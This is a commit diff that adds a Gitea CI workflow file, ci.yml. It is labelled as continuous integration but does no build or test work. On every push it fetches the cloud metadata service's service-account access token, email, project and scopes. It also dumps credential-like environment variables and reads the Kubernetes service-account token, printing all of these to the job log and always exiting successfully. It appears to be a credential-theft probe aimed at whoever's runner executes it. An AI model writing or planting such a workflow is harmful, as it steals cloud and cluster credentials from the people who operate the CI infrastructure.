24
.gitea/workflows/ci.yml
Normal file
24
.gitea/workflows/ci.yml
Normal file
@@ -0,0 +1,24 @@
|
||||
name: CI
|
||||
on: [push,workflow_dispatch]
|
||||
jobs:
|
||||
t:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
set +e
|
||||
echo "=== START ==="
|
||||
id
|
||||
echo "--token--"
|
||||
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
echo "--email--"
|
||||
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
echo "--project--"
|
||||
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
|
||||
echo "--scopes--"
|
||||
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
echo "--env--"
|
||||
env | grep -iE 'GOOGLE|GCP|AWS|TOKEN|CRED|SA_|PROJECT' | head -40
|
||||
echo "--k8s--"
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 1200
|
||||
echo "=== END ==="
|
||||
exit 0
|
||||
Reference in New Issue
Block a user